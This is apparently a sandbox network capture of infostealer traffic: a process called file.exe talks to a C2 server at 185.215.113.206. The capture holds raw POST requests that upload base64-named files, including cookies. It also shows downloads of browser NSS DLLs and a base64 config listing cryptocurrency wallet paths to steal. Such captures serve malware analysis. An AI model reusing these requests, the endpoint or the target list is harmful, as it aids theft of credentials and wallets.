------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="file"------JEHIIDGCFHIEGDGCBFHD--
Oct 28, 2024 18:43:22.093420029 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	63519	185.215.113.206	80	2792	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 18:43:30.217542887 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGHIDGCAFCBAAAAAFHDA Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 18:43:30.217575073 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 44 47 43 41 46 43 42 41 41 41 41 41 46 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 Data Ascii: ------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------BGHIDGCAFCBAAAAAFHDAContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 28, 2024 18:43:31.625319958 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:31.722261906 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFBAKECAEGCBFIEGDGI Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AAFBAKECAEGCBFIEGDGIContent-Disposition: form-data; name="file"------AAFBAKECAEGCBFIEGDGI--
Oct 28, 2024 18:43:32.719647884 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:33.511919022 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:34.066715956 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 28, 2024 18:43:34.066742897 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 28, 2024 18:43:34.066756964 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 28, 2024 18:43:34.066792011 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 28, 2024 18:43:34.066804886 CET	224	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3
Oct 28, 2024 18:43:34.066895008 CET	1236	IN	Data Raw: f4 01 19 db f7 d0 09 c3 21 fb b8 04 00 00 00 29 c8 c1 f8 1f 8b 7d 1c 80 7c 37 f3 01 f7 d0 19 ff 09 c7 21 df 21 d7 b8 05 00 00 00 29 c8 c1 f8 1f f7 d0 8b 55 1c 80 7c 32 f2 01 19 db 09 c3 b8 06 00 00 00 29 c8 c1 f8 1f 80 7c 32 f1 01 f7 d0 19 d2 09 Data Ascii: !)}\|7!!)U\|2)\|2!!)M\|1t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]U
Oct 28, 2024 18:43:34.066924095 CET	1236	IN	Data Raw: fc 07 00 83 c4 04 eb 09 c7 47 08 01 00 00 00 89 fe 89 f0 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 83 ec 08 8b 55 18 8b 4d 14 8b 5d 0c 8b 75 08 8b 3e 8b 46 04 39 d8 74 3a 8d 4e 08 8b 56 08 c7 46 08 00 00 00 00 85 ff 89 4d ec 89 55 f0 74 48 8b Data Ascii: G^_[]USWVUM]u>F9t:NVFMUtHHjWhjV4%tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM
Oct 28, 2024 18:43:34.066940069 CET	424	IN	Data Raw: 01 ff ff ff 73 20 68 0e e0 ff ff e8 6b f7 07 00 83 c4 04 68 02 01 00 00 56 e8 6f f7 07 00 83 c4 08 e9 cb 00 00 00 8d bd f0 fe ff ff 68 00 01 00 00 68 20 21 08 10 89 b5 ec fe ff ff 56 e8 cf f7 07 00 83 c4 0c bb 00 01 00 00 66 2e 0f 1f 84 00 00 00 Data Ascii: s hkhVohh !Vf.@uVuW)9wSuWT>\>=t%>>fM
Oct 28, 2024 18:43:34.067060947 CET	1236	IN	Data Raw: 8a b0 01 01 00 00 83 7d 14 07 0f 87 81 01 00 00 83 7d 14 00 0f 84 61 01 00 00 89 c8 04 01 89 4d ec 0f b6 c8 89 fb 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8a 13 32 14 0f 8b 4d e4 88 11 83 fe 01 0f 84 24 Data Ascii: }}aM}$7$7u2M$E}$7$7u]S2MQE}$7$7u]S2MQE}$7$7u]
Oct 28, 2024 18:43:34.067207098 CET	1236	IN	Data Raw: 83 c1 fe 0f 85 a3 fe ff ff eb 7e 73 1b 8b 07 83 c7 04 8b 4d c4 d3 e8 89 45 e0 8b 4d ec 8b 45 d0 8a 55 e8 e9 78 01 00 00 c7 45 e0 00 00 00 00 8a 55 e8 8b 4d ec e9 66 01 00 00 c7 45 e0 00 00 00 00 8b 4d ec 8a 55 e8 e9 54 01 00 00 0f b6 46 01 c1 e0 Data Ascii: ~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffp
Oct 28, 2024 18:43:35.089329958 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:35.375283957 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 28, 2024 18:43:35.688174963 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:35.974271059 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:35 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 28, 2024 18:43:36.352461100 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:36.639358997 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 28, 2024 18:43:39.133034945 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:39.419450998 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 28, 2024 18:43:40.026302099 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 28, 2024 18:43:40.312186956 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 28, 2024 18:43:40.966438055 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 18:43:41.751537085 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 18:43:41.887412071 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 38 37 34 63 65 37 63 66 61 30 37 66 64 31 33 37 61 61 38 34 39 63 61 61 63 31 32 33 34 62 32 63 32 64 33 32 36 62 34 39 63 62 32 32 30 35 34 66 61 63 63 63 30 39 30 39 32 38 34 31 66 66 64 30 32 36 36 62 31 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"c1874ce7cfa07fd137aa849caac1234b2c2d326b49cb22054faccc09092841ffd0266b1d------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"wallets------EGDGDHJJDGHCAAAKEHIJ--
Oct 28, 2024 18:43:42.176095963 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 17:43:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
